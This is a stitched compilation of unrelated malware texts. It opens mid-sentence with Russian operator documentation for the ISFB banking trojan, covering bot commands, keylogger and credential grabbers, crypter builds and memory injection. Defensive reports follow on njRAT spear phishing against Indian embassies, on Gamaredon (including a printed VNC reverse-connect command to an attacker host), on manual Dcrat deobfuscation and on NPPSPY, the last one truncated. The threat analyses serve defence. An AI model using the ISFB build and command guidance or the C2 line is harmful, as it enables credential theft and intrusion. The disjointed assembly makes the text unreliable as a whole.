DLL, второй - для 64х-битной. - **SOCKS_START=IP:PORT** - запустить сокс4\5 сервер (при его наличии). - **SOCKS_STOP** - остановить сокс4\5 сервер. - **GET_KEYLOG** - отправить данные кейлоггера (при его наличии). - **GET_MAIL** - активировать граббер E-Mail (при наличии) и отправить, полученные от него, данные. - **GET_FTP** - активировать граббер FTP (при наличии) и отправить, полученные от него, данные. - **SELF_DELETE** - удалить софт из системы, включая все файлы и ключи реестра. - **URL_BLOCK=URL** - заблокировать доступ ко всем URL, удовлетворяющим заданной маске. - **URL_UNBLOCK=URL** - разблокировать доступ к URL, удовлетворяющим заданной маске, ранее заблокированным командой URL_BLOCK. - **FORMS_ON** - включить граббер HTTP форм (если есть дефайн _ALWAYS_HTTPS, то граббер HTTPs остаётся включен всегда). - **FORMS_OFF** - отключить граббер HTTP форм. - **KEYLOG_ON[= list]** - включить кейлог, для заданного списка процессов. - **KEYLOG_OFF** - отключить кейлог. - **LOAD_INI=URL** - загрузить упакованный INI-файл с указанного URL, сохранить его в реестре и использовать вместо INI-файла, прикреплённого к софту с помощью билдера. INI-файл должен быть упакован и подписан. - **LOAD_REG_DLL = name, URL[,URL]** - загрузить DLL по указанному URL, сохранить её под заданным именем и зарегистрировать для автоматической загрузки после каждого запуска системы. - **UNREG_DLL = name** - удалить из автоматической загрузки DLL с заданным именем. ## Технические детали **Дропер** - программа установки. Дропер представляет собой исполняемый файл Windows (PE32). В файле, в виде бинарного ресурса, содержатся две упакованные DLL: 32х битный и 64х-битный бот. При старте дропер распаковывает DLL и регистрирует их для автозапуска. DLL распаковываются и регистрируются таким образом, чтобы иметь возможность выполняться при любом уровне привелегий: как при администраторе, так и при пользователе. **DLL - бот.** Бот представляет собой динамически загружаемую библиотеку (DLL). Для каждой архитектуры собирается своя, соответствующая DLL. DLL-бот загружается во все запускаемые процессы. Бот состоит из 2х логических компонентов: парсер и сервер. Парсер активируется в контексте процесса-браузера. Сервер активируется в контексте процесса оболочки (как правило explorer.exe). Парсер выполняет следующие функции: - отправка/получение данных (получение команд, конфигов; отправка форм, файлов) - непосредственный перехват, анализ, и модификация HTTP траффика Сервер (в контексте explorer.exe) выполняет: - файловые операции (поиск, создание и удаление файлов) - запуск программ, обновление - системные функции (перезагрузка, блокировка ОС) Таким образом, все операции, требующие привелегий, выполняются сервером в контексте explorer.exe, а все операции с сетью исключительно из браузера. ## Сборка и настройка Проект собирается при помощи Microsoft Visual Studio 2005, либо более поздней версии. В проект интегрирован криптор, который используется по-умолчанию. В результате сборки и криптовки получаются следующие файлы: - Release\crm_p.exe - Release\client_p.dll - x64\Release\client_p.dll Это упакованные и криптованные версии бота и дропера, причем дропер (файл crm_p.exe) содержит в себе два других. Некриптованные версии бота лежат там же: - Release\crm.exe - Release\client.dll - x64\Release\client.dll Кроме бота, проект включает в себя: - Release\dname.exe - утилита для генерации псевдо-случайных доменных имен; - Release\rsakey.exe - утилита для подписывания файлов команд и конфига; - config.exe - программа конфигуратор. Основные настройки программы находятся в файлах id.h и config.h. id.h содержит номер группы бота. config.h содержит такие параметры как: список управляющих серверов, названия URL-ов для получения команд и конфигов, и для отсылки данных, а также различные ключи и параметры, влияющие на настройку программы. ## Сборка с билдером Существует возможность собрать ISFB так, чтобы в дальнейшем прикреплять к DLL ключи и файлы настроек, не пересобирая проект. 1. Собрать ISFB в конфигурации Release(Builder) под x86 и x64. 2. Отредактировать файлы: \public.key и \client.ini, содержащие RSA-ключ и настройки программы соответственно. 3. В консольном окне выполнить build.bat из папки \Builder. 4. Забрать готовый installer.exe из папки \Builder\Release. Батник build.bat запускает билдер, который прикрепляет к каждой DLL (для х86 и х64) файлы: public.key и client.ini. В последствии обе DLL прикрепляются к инсталлеру. Готовый инсталлер сохраняется в файл \Release\install.exe. ## Сборка с BK Существует возможность собрать ISFB вместе BK в один исполняемый файл-установщик, так, чтобы в случае ошибки при установке BK, установщик извлекал DLL и устанавливал их отдельно. Примечание: папка, содержащая солюшен с BK2, должна находиться в той же директории, что и папка, содержащая ISFB. 1. Собрать BK в конфигурации Release под x86 и x64. 2. Собрать ISFB в конфигурации Release(Builder) под x86 и x64. 3. Отредактировать файлы: \public.key и \client.ini. 4. В консольном окне запустить bkbuild.bat из папки \Builder. 5. Забрать собранный bksetup.exe, содержащий BK, ISFB-DLL и ISFB-инсталлер, из \Builder\Release. ## Работа в режиме инжекта из памяти Для работы в режиме инжекта из памяти необходимо установить значение флага _INJECT_AS_IMAGE в файле \common\main.h в TRUE, и пересобрать проект. В этом случае инсталлер не создает DLL на диске, а копирует себя в одну из системных папок и регистрируется в Windows AutoRun. При запуске инсталлер инжектит образ DLL, соответствующей архитектуры, в Explorer.exe, откуда, в свою очередь, соответствующий образ DLL инжектится во все порождаемые процессы, разных архитектур. ## Плагины ISFB поддерживает плагины: специально собранные DLL, экспортирующие функцию PluginRegisterCallbacks и вызывающие внутренние функции софта (например, функции отправки данных). Для загрузки плагина используется команда: - **LOAD_PLUGIN=URL[,URL]** - где первый URL для 32х-битной версии DLL, второй - 64х-битной. Софт скачивает DLL соответствующей архитектуры и инжектит её в explorer.exe, затем вызывается функция PluginRegisterCallbacks, в которую передаётся указатель на список коллбэков (функций), реализованных внутри софта, которые может использовать плагин. ## Состав проекта - **\AcDLL** - библиотека инжектов. Реализует механизм инжекта DLL во все порождаемые процессы, независимо от архитектуры. Поддерживает два режима работы: инжект, непосредственно DLL и инжект образа DLL из памяти без создания файла на диске. - **\ApDepack** - библиотека на основе APLIB, реализующая функции распаковки. - **\BcClient** - библиотека клиента для бэкконект сервера. - **\Client** - основная DLL приложения. - **\Common** - библиотека, реализующая общие функции, используемые в разных частях проекта. Такие как: чтение файлов, ключей реестра, операции с потоками данных, со строками, с XML, хуки и т.п. - **\Crypto** - библиотека криптографических функций. Реализует следующие алгоритмы: CRC32, BASE64, MD5, RSA, RC6, AES, DES, SHA1. Используется для подписи конфиг-файлов и файлов команд, а также для шифрования информации e-mail и ftp аккаунтов. - **\Dname** - программа генерации доменных имён на основе номера группы софта и текущей даты. - **\Ftp** - библиотека FTP-грабберов. - **\Handle** - библиотека, реализующая хэш таблицу. Используется для привязки хэндлов HTTP запросов к внутреннему контексту ISFB. Также используется кейлоггером, для группировки клавиатурных логов по PID-ам и HWND. - **\IM** - DLL-плагин, реализующая граббер Instant Messangers. - **\Install** - программа-установщик ISFB. - **\KeyLog** - библиотека кейлоггера. - **\Mail** - библиотека E-mail грабберов. - **\RsaKey** - программа для шифрования и цифровой подписи конфиг-файлов и файлов команд. - **\SocksLib** - библиотека, реализующая SOCKS4\5-сервер. - **\Sqlite3** - библиотека для работы с БД SQLLite. Используется IM-грабберами. - **\ZConv** - программа-конвертер конфигов Zeus в конфиг-файлы ISFB.
# Uri Terror Attack & Kashmir Protest Themed Spear Phishing Emails Targeting Indian Embassies and Indian Ministry of External Affairs In my previous blog, I posted details of a cyber attack targeting Indian government organizations. This blog post describes another attack campaign where attackers used the Uri terror attack and Kashmir protest themed spear phishing emails to target officials in the Indian Embassies and Indian Ministry of External Affairs (MEA). To infect the victims, the attackers distributed spear-phishing emails containing a malicious Word document that dropped malware capable of spying on infected systems. The email purported to have been sent from legitimate email IDs. The attackers spoofed the email IDs associated with the Indian Ministry of Home Affairs to send out emails to the victims. They also used the name of a top-ranking official associated with the Minister of Home Affairs in the signature of the email to make it look like the email was sent by a high-ranking government official. ## Overview of the Malicious Emails In the first wave of attack, the attackers spoofed an email ID associated with the Indian Ministry of Home Affairs (MHA) and sent an email on September 20th, 2016 (just 2 days after the Uri terror attack) to an email ID associated with the Indian Embassy in Japan. The email was made to look like an investigation report related to the Uri terror attack shared by the MHA official. This email contained a malicious Word document (Uri Terror Report.doc). On September 20th, 2016, a similar Uri Terror report themed email was also sent to an email ID connected with the Indian embassy in Thailand. This email was later forwarded on October 24th, 2016, from a spoofed email ID associated with the Thailand Indian embassy to various email recipients connected to the Indian Ministry of External Affairs. This email also contained the same malicious Word document (Uri Terror Report.doc). In the second wave of attack, a slightly different theme was used. This time, attackers used the Jammu & Kashmir protest theme to target the victims. Again, they spoofed an email ID associated with the Indian Ministry of Home Affairs, and the mail was sent on September 1, 2016, to an email ID associated with the Thailand Indian embassy. This email was later forwarded on October 24th, 2016, from a spoofed email of the Thailand Indian embassy to various email recipients connected to the Indian Ministry of External Affairs. This time, the email was made to look like an investigation report related to Jammu & Kashmir protests shared by the Ministry of Home Affairs official, and the forwarded email was made to look like the report was forwarded by an Ambassador in the Thailand Indian embassy to the MEA officials. This email contained a different malicious Word document (mha-report.doc). From the emails (and the attachments), it looks like the goal of the attackers was to infect and take control of the systems and also to spy on the actions of the Indian Government post the Jammu & Kashmir protest and Uri Terror attack. ## Analysis of Malicious Word Documents When the victim opens the attached Word document, it prompts the user to enable macro content. Both documents (Uri Terror Report.doc and mha-report.doc) displayed the same content and contained a Show Document button. In both cases, the malicious macro code was heavily obfuscated and did not contain any auto-execute functions. Malicious activity is triggered only on user interaction; attackers normally use this technique to bypass sandbox/automated analysis. Reverse engineering both Word documents exhibited similar behavior except for the minor differences mentioned below. In the case of mha-report.doc, the malicious activity triggered only when the Show Document button was clicked. When this event occurs, the macro code calls a subroutine CommandButton1_Click() which in turn calls a malicious obfuscated function (Bulbaknopka()). In the case of Uri Terror Report.doc, the malicious activity triggered when the document was either closed or when the Show Document button was clicked. When any of these events occur, a malicious obfuscated function (chugnnarabashkoim()) gets called. The malicious macro code first decodes a string that contains a reference to the Pastebin URL. The macro then decodes a PowerShell script that downloads base64 encoded content from the Pastebin URL. The base64 encoded content downloaded from the Pastebin link is then decoded to an executable and dropped on the system. The technique of hosting malicious code on legitimate sites like Pastebin has advantages and is highly unlikely to trigger any suspicion in security monitoring and can also bypass reputation-based devices. The dropped file was determined to be a modified version of the njRAT trojan. The dropped file (officeupdate.exe) is then executed by the macro code using the PowerShell script. njRAT is a Remote Access Tool (RAT) used mostly by actor groups in the Middle East. Once infected, njRAT communicates with the attacker and allows the attacker to log keystrokes, upload/download files, access the victim's webcam, audio recording, steal credentials, view the victim's desktop, open a reverse shell, etc. ## Analysis of the Dropped Executable (officeupdate.exe) The dropped file was analyzed in an isolated environment (without actually allowing it to connect to the C2 server). This section contains the behavioral analysis of the dropped executable. Once the dropped file (officeupdate.exe) is executed, the malware drops additional files (googleupdate.exe, malib.dll, and msccvs.dll) into the %AllUsersProfile%\Google directory and then executes the dropped googleupdate.exe. The malware then communicates with the C2 server (khanji[.]ddns[.]net) on port 5555. ### C2 Communication Pattern Upon execution, the malware makes a connection to the C2 server on port 5555 and sends the system and operating system information along with some base64 encoded strings to the attacker. Below is the description of the strings passed in the C2 communication: - WIN-T9UN4HIIHEC -> is the hostname of the infected system - Administrator -> is the username - 16-12-04 -> is the infection date - No -> Indicates that the system has no camera ### C2 Domain Information This section contains the details of the C2 domain (khanji[.]ddns[.]net). Attackers used DynamicDNS to host the C2 server, allowing them to quickly change the IP address in real-time if the malware C2 server infrastructure is unavailable. The C2 domain was associated with multiple IP addresses in the past, most of which were located in Pakistan. ### Threat Intelligence Based on the base64 encoded content posted in the Pastebin, the user ID associated with the Pastebin post was determined. The same user posted multiple similar posts, most of them containing similar base64 encoded content, probably used by the malware in other campaigns to decode and drop malware executables. ### Indicators Of Compromise The indicators are provided below; these indicators can be used by organizations (Government, Public, and Private organizations) to detect and investigate this attack campaign. **Dropped Malware Samples:** - 14b9d54f07f3facf1240c5ba89aa2410 (googleupdate.exe) - 2b0bd7e43c1f98f9db804011a54c11d6 (malib.dll) - feec4b571756e8c015c884cb5441166b (msccvs.dll) - 84d9d0524e14d9ab5f88bbce6d2d2582 (officeupdate.exe) **Network Indicators Associated with C2:** - khanji[.]ddns[.]net - 139[.]190[.]6[.]180 - 39[.]40[.]141[.]25 - 175[.]110[.]165[.]110 - 39[.]40[.]44[.]245 - 39[.]40[.]67[.]219 - 119[.]160[.]68[.]178 - 175[.]107[.]13[.]215 - 39[.]47[.]125[.]110 - 175[.]107[.]5[.]247 - 175[.]107[.]6[.]174 - 182[.]191[.]90[.]91 - 175[.]107[.]7[.]50 - 182[.]191[.]90[.]92 - 175[.]107[.]7[.]69 - 39[.]47[.]84[.]127 - 192[.]169[.]136[.]121 - 155[.]254[.]225[.]24 - 203[.]31[.]216[.]214 - 45[.]42[.]243[.]20 **Pastebin URLs Hosting Malicious Payload:** - hxxp://pastebin.com/raw/5j4hc8gT - hxxp://pastebin.com/raw/6bwniBtB **Related Malware Samples associated with C2 (khanji[.]ddns[.]net):** - 028caf3b1f5174ae092ecf435c1fccc2 - 7732d5349a0cfa1c3e4bcfa0c06949e4 - 9909f8558209449348a817f297429a48 - 63698ddbd5be7d5a7ba7f31d0d592c - 7c4e60685203b229a41ae65eba1a0e10 - e2112439121f8ba9164668f54ca1c6af - 784b6e13f195236304e1c172dcdab51f - b0f0350a5c2480d8419d14ec3445b765 - 9a51db9889d4fd6d02bdb35bd13fb07e - 8199667bad5559ee8f04fd6b1a587a75 - 7ad6aaa107a7616a3dbe8e3babf5d310 ## Conclusion Attackers in this case made every attempt to launch a clever attack campaign by spoofing legitimate email IDs and using an email theme relevant to the targets. The following factors in this cyber attack suggest the possible involvement of a Pakistan state-sponsored cyber espionage group to mainly spy on India’s actions related to these geopolitical events (Uri terror attack and Jammu & Kashmir protests): - Victims/targets chosen (Indian Embassy and Indian MEA officials) - Use of email theme related to the geopolitical events that are of interest to the targets - Timing of the spear phishing emails sent to the victims - Location of the C2 infrastructure - Use of malware that is capable of spying on infected systems The following factors show the level of sophistication and reveal the attackers' intention to remain stealthy and to gain long-term access by evading anti-virus, sandbox, and security monitoring at both the desktop and network levels: - Use of obfuscated malicious macro code - Use of macro code that triggers only on user intervention (to bypass sandbox analysis) - Use of legitimate site (Pastebin) to host malicious code (to bypass security monitoring) - Use of customized njRAT (capable of evading anti-virus) - Use of Dynamic DNS to host C2 infrastructure I would like to thank Brian Rogalski, who after reading my previous blog post, shared a malicious document which he thought was similar to the document mentioned in my previous blog. This malicious document shared by Brian triggered this investigation and helped me in identifying the related emails and documents associated with this cyber attack.
# The Gamaredon Group Toolset Evolution By Anthony Kasza and Dominik Reichel 2/27/2017 Unit 42 threat researchers have recently observed a threat group distributing new, custom-developed malware. We have labeled this threat group the Gamaredon Group, and our research shows that the Gamaredon Group has been active since at least 2013. In the past, the Gamaredon Group has relied heavily on off-the-shelf tools. Our new research shows the Gamaredon Group has made a shift to custom-developed malware. We believe this shift indicates the Gamaredon Group has improved their technical capabilities. The custom-developed malware is fully featured and includes these capabilities: - A mechanism for downloading and executing additional payloads of their choice - The ability to scan system drives for specific file types - The ability to capture screenshots - The ability to remotely execute commands on the system in the user’s security context The Gamaredon Group primarily makes use of compromised domains, dynamic DNS providers, Russian and Ukrainian country code top-level domains (ccTLDs), and Russian hosting providers to distribute their custom-built malware. Antimalware technologies have a poor record of detecting the malware this group has developed. We believe this is likely due to the modular nature of the malware, the malware’s heavy use of batch scripts, and the abuse of legitimate applications and tools (such as wget) for malicious purposes. Previously, LookingGlass reported on a campaign they named “Operation Armageddon,” targeting individuals involved in the Ukrainian military and national security establishment. Because we believe this group is behind that campaign, we’ve named them the Gamaredon Group, an anagram of “Armageddon.” At this time, it is unknown if the new payloads this group is distributing are a continuation of Operation Armageddon or a new campaign. ## Gamaredon: Historical Tool Analysis The earliest discovered sample (based on compile times and sandbox submission times) distributed by this threat group resembles the descriptions of Gamaredon provided by Symantec and Trend Micro. Unfortunately, this identification is rather tenuous, as it seems to only identify the first variant of payloads used by our threat actors. Some samples of later payload variants also have been given the generic and brittle names of TROJ_RESETTER.BB and TROJ_FRAUDROP.EX. Originally, the payloads delivered to targets by this threat group consisted of a password-protected Self-extracting Zip-archive (.SFX) file which, when extracted, wrote a batch script to disk and installed a legitimate remote administration tool called Remote Manipulator System, which they would abuse for malicious purposes. One such self-extracting archive (ca87eb1a21c6d4ffd782b225b178ba65463f73de6f4c736eb135be5864f556dc) was first observed around April of 2014. The password (reused by many of the password-protected SFX payloads) it used to extract itself is “1234567890__”. The files included in this SFX file we observed include a batch file named “123.cmd” and another SFX named “setting.exe.” This second SFX contains a .MSI installer package which installs Remote Manipulator System and a batch script which handles the installation. Later payloads would write batch scripts to disk as well as wget binaries. The batch scripts would use the wget binaries to download and execute additional executables. The scripts would also use wget to send POST requests to command and control (C2) servers that would contain information about the compromised system. Some of these payloads included decoy documents that would open when the malware is executed. Three examples of this type of payload include: - a6a44ee854c846f31d15b0ca2d6001fb0bdddc85f17e2e56abb2fa9373e8cfe7 - b5199a302f053e5e9cb7e82cc1e502b5edbf04699c2839acb514592f2eeabb13 - 3ef3a06605b462ea31b821eb76b1ea0fdf664e17d010c1d5e57284632f339d4b We first observed these samples using wget in 2014. The filenames and decoy documents these samples used attempt to lure individuals by using the presidential administration of Ukraine, Ukrainian national security and defense, the Anti-Terrorist Operation Zone in Ukraine, and Ukrainian patriotism as subjects. Other observed payloads would again use SFX files to deliver a batch script and an executable that allowed remote access through the VNC protocol. These VNC executables would either be included in the SFX file or downloaded by the batch script. One such sample, cfb8216be1a50aa3d425072942ff70f92102d4f4b155ab2cf1e7059244b99d31, first appeared around January of 2015. The batch script utilized in this sample ensures a VNC connection is available: ``` start winlogons -autoreconnect -id:%sP% -connect grom56.ddns.net:5500 ``` The path configured in the VNC configuration file across all implants employing VNC (UltraVNC.ini) is “Y:\ПРОБА\Создание троянов\создание RMS\vnc.” This isn’t the only place hardcoded Cyrillic file paths are used by implants. Many of the batch scripts also use hardcoded paths such as “Главное меню\Программы\Автозагрузка.” Many payloads also include a VBS script which raises a dialog box to the users asking them to run the malware again. It reads, “Ошибка при инициализации приложения (0xc0000005). Повторить попытку открытия файла?” (English Translation from Russian: Application failed to initialize (0xc0000005). Try to open the file again?). Some of the SFX files also include another legitimate application called ChkFlsh.exe (8c9d690e765c7656152ad980edd2200b81d2afceef882ed81287fe212249f845). This application was written by a Ukrainian programmer and is used to check the performance of USB flash drives. Its value to the attackers isn’t clear, but one possibility is that it is somehow used to steal or monitor files on USB devices. In our research, we found this application present in some SFX files along with VNC programs and in some SFX files that didn’t have VNC programs included. ## Custom Implants While the most recent samples observed still use batch scripts and SFX files, the Gamaredon Group has moved away from applications like wget, Remote Manipulator Tool, VNC, and ChkFlsh.exe. Instead of using wget, the attackers are distributing custom-developed downloaders, and instead of Remote Manipulator or VNC, the malware is using a custom-developed remote access implant. In June of 2015, a custom downloader used by many newer samples was first seen in the wild and is often included in SFX implants with the name “LocalSMS.dll.” This downloader makes requests to adobe.update-service[.]net (hardcoded in the sample) and is further discussed in Appendix A. In February 2016, another custom tool now often included in SFX implants was seen in the wild. This SFX file (3773ddd462b01f9272656f3150f2c3de19e77199cf5fac1f44287d11593614f9) contains a new Trojan (598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824) we refer to as “Pteranodon.” Pteranodon is a custom backdoor which is capable of the following tasks: - Capturing screenshots at a configurable interval and uploading them to the attacker - Downloading and executing additional files - Executing arbitrary commands on the system The earliest version of Pteranodon uses a hardcoded URL for command and control. It sends POST requests to “msrestore[.]ru/post.php” using a static multipart boundary: ``` ————870978B0uNd4Ry_$ ``` Newer versions of the tool also use hardcoded domains and multipart boundaries. They also share similar pdb strings. Other Pteranodon samples can be found in AutoFocus using the Pteranodon tag. The most recent variant of Pteranodon is analyzed in Appendix A. We have only identified one delivery vector for the new implants thus far. A Javascript file (f2355a66af99db5f856ebfcfeb2b9e67e5e83fff9b04cdc09ac0fabb4af556bd) first seen in December of 2016 downloads a resource from http://samotsvety.com[.]ua/files/index.pht (likely a compromised site used for staging payloads) which previously an SFX file (b2fb7d2977f42698ea92d1576fdd4da7ad7bb34f52a63e4066f158a4b1ffb875) containing two of the Gamaredon custom tools. A related sample (e24715900aa5c9de807b0c8f6ba8015683af26c42c66f94bee38e50a34e034c4) used the same distinct Mutex and contains a larger set of tools for analysis. The original name of the file is “AdapterTroubleshooter.exe” and the file uses icons which resemble those used by OpenVPN. Upon examining the sample’s file activity within AutoFocus, it is clear the sample is a self-extracting executable. ## Final Word The implants identified have limited, generic, and often conflicting detections on VirusTotal. The threat group using these implants has been active since at least 2014 and has been seen targeting individuals likely involved in the Ukrainian government. Some of the samples share delivery mechanisms and infrastructure with samples which are detected by a few antivirus vendors as Gamaredon. However, newer variants deliver more advanced malware which goes unnamed. Periodically, researchers at Palo Alto Networks hunt through WildFire execution reports, using AutoFocus, to identify untagged samples’ artifacts in the hopes of identifying previously undiscovered malware families, behaviors, and campaigns. This blog presents a threat group identified by the above process using AutoFocus. By actively hunting for malicious activity and files instead of waiting for alerts to triage, defenders can identify and build protections for new trends before they arrive on their corporate networks and endpoints. More details about this threat group can be found in the AutoFocus tag GamaredonGroup. Palo Alto Networks customers are protected from this threat in the following ways: - WildFire identifies the malware described in this report as malicious. - Traps prevents execution of the malware described in this report. - The C2 domains used by this group are blocked through Threat Prevention.
# Dcrat Deobfuscation - How to Manually Decode a 3-Stage .NET Malware **Matthew** **April 8, 2023** **dnspy Featured** Manual analysis and deobfuscation of a .NET based Dcrat. Touching on Custom Python Scripts, Cyberchef, and .NET analysis with Dnspy. Analysis of a 3-stage malware sample resulting in a Dcrat infection. The initial sample contains 2 payloads which are hidden by obfuscation. This analysis will demonstrate methods for manually uncovering both payloads and extracting the final obfuscated C2. If you've ever wondered how to analyze .NET malware - this might be the blog post for you. ## Tooling ### Samples The malware file can be found here. And a copy of the decoding scripts here. ## Initial Analysis The initial file can be downloaded via Malware Bazaar and unzipped using the password `infected`. Detect-it-easy is a great tool for initial analysis of the file. Pe-studio is also a great option, but I personally prefer the speed and simplicity of detect-it-easy. Detect-it-easy revealed that the sample is a 32-bit .NET-based file. The protector Confuser(1.X) has also been recognized. Before proceeding, I checked the entropy graph for signs of embedded files. I used this to determine if the file was really Dcrat, or a loader for an additional payload containing Dcrat. In my experience, large and high entropy sections often indicate an embedded payload, indicating that the file being analyzed is a loader. The entropy graph revealed that a significant portion of the file has an entropy of 7.98897 (This is very high, the maximum value is 8). This was a strong indicator that the file is a loader and not the final Dcrat payload. In order to analyze the suspected loader, I moved on to Dnspy. ## Dnspy Analysis Utilizing Dnspy, I saw that the file had been recognized as rewrwr.exe and contained references to ConfuserEx. Likely this means the file is obfuscated using ConfuserEx and might be a pain to analyze. In order to peek at the code being executed, I right-clicked on the rewrwr.exe name and selected "go to entry point." This would give me a rough idea of what the actual executed code might look like. The file immediately creates an extremely large array of unsigned integers. This could be an encrypted array of integers containing bytecodes for the next stage (further suggested by a post-array reference to a Decrypt function). Given the size, I suspected this array was the reason for the extremely high entropy previously observed with detect-it-easy. After the array, there is again code that suggests the array's contents are decrypted, then loaded into memory with the name koi. Given the relative simplicity of the code so far, I suspected the encryption was not complex, but still, I decided not to analyze it this time. Instead, I considered two other approaches: 1. Set a breakpoint after the Decrypt call and dump the result from memory. 2. Set a module breakpoint to break when the new module decrypted and loaded. Then dump the result into a file. I took the second approach, as it is reliable and useful for occasions where the location of decryption and loading isn't as easy to find. (Typically it's more complicated to find the Decryption function, but luckily in this case it was rather simple). Either way, I decided to take the second approach. ## Extracting Stage 2 using Module Breakpoints To extract stage 2, I first created a module breakpoint which would break on all module loads. To do this, I first opened the module breakpoints window: Debug -> Windows -> Module Breakpoints. I then created a module breakpoint with two wildcards. This will break on all new modules loaded by the malware. I then executed the malware using the start button and accepted the default options. Immediately, a breakpoint was hit as mscorelib.dll was being loaded into memory. This is a default library and I ignored it by selecting Continue. Once executing, the Continue button can be used to resume execution. The next module loaded was the original file being analyzed, which in this case can be safely ignored. After that, a suspicious-looking koi module was loaded into memory. Here I could see the koi module had been loaded. At this point, I saved the koi module to a new file using Right-Click -> Save Module. I then exited the debugger and moved on to the koi.exe file. ## Analysis of koi.exe The koi.exe file is another 32-bit .NET file containing references to ConfuserEx. This time it does not seem to contain any large encrypted payloads. Although the overall entropy is low, large portions of the graph are still suspiciously flat. This can sometimes be an indication of text-based obfuscation. I moved on and opened koi.exe using Dnspy. This time there was another rewrwr.exe name and references again to ConfuserEx. There was no Entry point available, so I started analysis with the rewrwr namespace in the side panel. This namespace contained one Class named Form1. The Form1 class immediately called Form1_Load, which itself immediately referenced a large string that appears to be base64 encoded. Despite appearing to be base64, the text does not successfully decode using base64. This was an indicator that some additional tricks or obfuscation had been used. I decided to jump to the end of the base64-looking data, noting that there were about 50 large strings in total, each titled Str1, Str2, ... all the way to Str49. It was very likely these strings were the cause of the flat entropy graph we viewed earlier. Text-based obfuscation tends to produce lower entropy than "proper" encryption. At the end of the data was the decoding logic, which appeared to be taking the first character from each string and adding it to a buffer. After the buffer had been filled, it was base64 decoded and loaded into memory as an additional module. In order to confirm the theory on how the strings were decoded, I took the first character from the first 5 strings and base64 decoded the result. This confirmed my theory on how the malware was decoding the next stage. In order to extract the next module, I copied out the strings and put them into a Python script. Running this script created a third file, which for simplicity's sake was named output.bin. The file was recognized as a 32-bit .NET file, so the decoding was successful. ## Stage 3 - Analysis Now I had obtained a stage 3 file, which again was a 32-bit .NET executable. This time, no references to ConfuserEx. The entropy was reasonably normal and did not contain any large flat sections that may indicate a hidden payload. Moving on to Dnspy, the file is recognized as IvTdur2zx. Despite the lack of ConfuserEx, the namespaces and class names look terrible. I then went to the Entry-point to see what was going on. The first few functions were mostly junk, but there were some interesting strings referenced throughout the code. For example, references to a .bat script being written to disk. Since the strings were largely plaintext and not obfuscated, at this point I used detect-it-easy to look for more interesting strings contained within the file. This revealed a reference to Dcrat, as well as some potential targeted applications (Discord, Steam, etc). At that point, you could probably assume the file was Dcrat and an info stealer, but I wanted to continue my analysis until I'd found the C2. I noticed some interesting strings that looked like base64 encoding + gzip (the H4sIAA* is a base64 encoded gzip header). So I attempted to analyze these using CyberChef. The first resulted in what appeared to be a base64 encoded + reversed string. This was strongly hinted by the presence of == at the start. After applying a character reverse + base64 decode, I was able to obtain a strange dictionary as well as a mutex of Wzjn9oCrsWNteRRGsQXn + some basic config. This was cool but still no C2. I then tried to decode the second base64 blob shown by detect-it-easy, but the result was largely junk. Attempting to reverse + base64 decode returned no results. At this point, I decided to search for the base64 encoded string to see where it was referenced in the .NET code. Using Dnspy to search for string cross references (x-refs) revealed an interesting function showing multiple additional functions acting on the base64 encoded data. In total, there are 4 functions (M2r.957, M2r.i6B, M2r.1vX, M2r.i59) which are acting on the encoded data. The first function M2r.957 is a wrapper around another function M2r.276 which performed the base64 and Gzip decoding. The next function M2r.i6B took the previously obtained string and then performed a Replace operation based on a Dictionary. Interesting to note is that the Value is replaced with the Key and not the other way around as you might expect. Based on the previous code, the input dictionary was something to do with a value of SCRT. Suspiciously, there was an SCRT that looked like a dictionary in the first base64 string that was decoded. So I obtained that dictionary and prettied it up using Cyberchef to remove all of the escape characters. I then created a partial Python script based on the information I had so far. Executing this result and printing the result, I was able to obtain a cleaner-looking string than before. It was probably safe to assume this string was reversed + base64 encoded, but I decided to check the remaining two decoding functions just to make sure. M2r.1vX was indeed responsible for reversing the string. M2r.i59 was indeed responsible for base64 decoding the result. So I then added these steps to my Python script and executed to reveal the results - successful C2! This C2 domain had only 2/85 hits on VirusTotal. At this point, I had obtained the C2 and decided to stop my analysis. In a real environment, it would be best to block this domain in your security solutions. Additionally, you could review the previous string dumps for process-based indicators that could be used for hunting signs of successful execution. Additionally, you could try and derive some Sigma rules from the string dumps or potentially use the C2 URL structure to hunt through proxy logs.
# Cleartext Shenanigans: Gifting User Passwords to Adversaries With NPPSPY While investigating an intrusion, Huntress stumbled on something rather fascinating to do with adversarial credential gathering. Threat actors are often retrospectively gathering credentials by dumping what’s already on the system (like Mimikatz). Some tools, like Responder, let the threat actor listen network-wide and pick up some hashes that are whizzing around the Active Directory. But it isn’t too common that we at Huntress see threat actors proactively manipulate a system not just to gather credentials, but to gather cleartext passwords. Normally, we only see this proactive effort via UseLogonCredential registry manipulation. And yet, while investigating a recent intrusion, we found an unusual technique to steal cleartext creds. A threat actor had gained access to a complex network, dwelled in dark corners of the environment, and then deployed Grzegorz Tworek's NPPSPY technique to ‘man in the middle’ the user logon process, and squirrel away the user’s name and password in an unassuming file. It seems that the community has documented this NPPSPY technique in theory, but so far it seems like no one has documented when they have encountered it maliciously deployed in the wild. In this article, let’s have a look at when the Huntress team encountered this technique IRL. ## What Does NPPSPY Do? Before we go into the details of this tradecraft, I recorded a short video of how this technique works. The TLDR here: it’s possible to man-in-the-middle the login process and save a user’s password cleartext into a file on the file system. I am simplifying the technique because I am a simpleton from Grzegorz’s notes and Microsoft documentation. Many have already written about this technique and incorporated it into security frameworks, like Atomic Red’s suite of tests, so I won’t dwell too much on the granularity of this explanation. When you sit down to sign onto your machine and type in your password to authenticate, a bunch of different things are done on the back end with your credentials: hashing, checking, flying back and forth to a domain controller, etc. The conversation between Winlogon and Local Security Authority Subsystem Service (LSASS) is most relevant for our instance. Winlogon is both the graphical user interface that we use to put our credentials in, as well as the conversational partner with LSASS for letting you sign in. It’s more of a challenge to mess with LSASS to try and gather credentials, and so the NPPSPY technique takes the path of least resistance by focusing on Winlogon. When you give your password to Winlogon, it opens up an RPC channel to mpnotify.exe and sends it over the password. Mpnotify then goes and tells some DLLs what’s up with this credential. NPPSPY comes alive here. Mpnotify is maliciously told about a new adversarial network provider to consider. This network provider is attacker-controlled and comes with a backdoored DLL the adversary has created. This slippery DLL simply listens for this clear text credential exchange from Winlogon down to mpnotify and then saves this clear text credential exchange. ## What Did We Find in the Wild? During this intrusion, the Godparents of DFIR, Jamie Levy and Harlan Carvey, used their forensic wizardry to point the team to find and give some attention to a ‘C:\Windows\System32\lsass.dll’. They had identified that this had been associated with a compromised account and advised us to go and determine what it was. Now, we’re all good noodles on the ThreatOps team, and if a Big Boss gives an order, 